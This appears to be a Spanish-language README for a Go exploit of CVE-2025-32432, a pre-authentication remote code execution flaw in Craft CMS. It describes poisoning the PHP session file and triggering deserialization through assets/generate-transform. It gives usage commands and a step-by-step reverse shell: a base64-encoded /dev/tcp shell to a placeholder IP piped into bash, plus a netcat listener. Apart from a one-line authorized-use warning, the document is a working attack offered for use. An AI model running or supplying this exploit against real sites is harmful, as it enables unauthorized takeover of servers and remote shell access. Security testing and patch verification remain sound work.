CVE-2025-32432 — Craft CMS Pre-Auth RCE

Exploit para ejecución remota de código sin autenticación en Craft CMS, escrito en Go.
Inspirado en el trabajo original de c0gnit00.

Cómo funciona

1. Obtiene la sesión PHP y el token CSRF mediante GET /admin/login
2. Envenena el archivo de sesión PHP inyectando código PHP en la query string
3. Dispara la deserialización mediante assets/generate-transform para incluir y ejecutar el archivo envenenado

Uso

go run main.go -u <url> -c <comando> 

Ejemplo

# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami

Reverse Shell

1. Genera el payload en base64 con tu IP y puerto:

echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64

2. Abre el listener:

nc -lvnp 4444

3. Ejecuta el exploit con el payload:

go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"

Sustituye el valor en base64 por el generado en el paso 1 con tu IP real.

Advertencia

Para uso exclusivo en entornos autorizados y pruebas de seguridad controladas.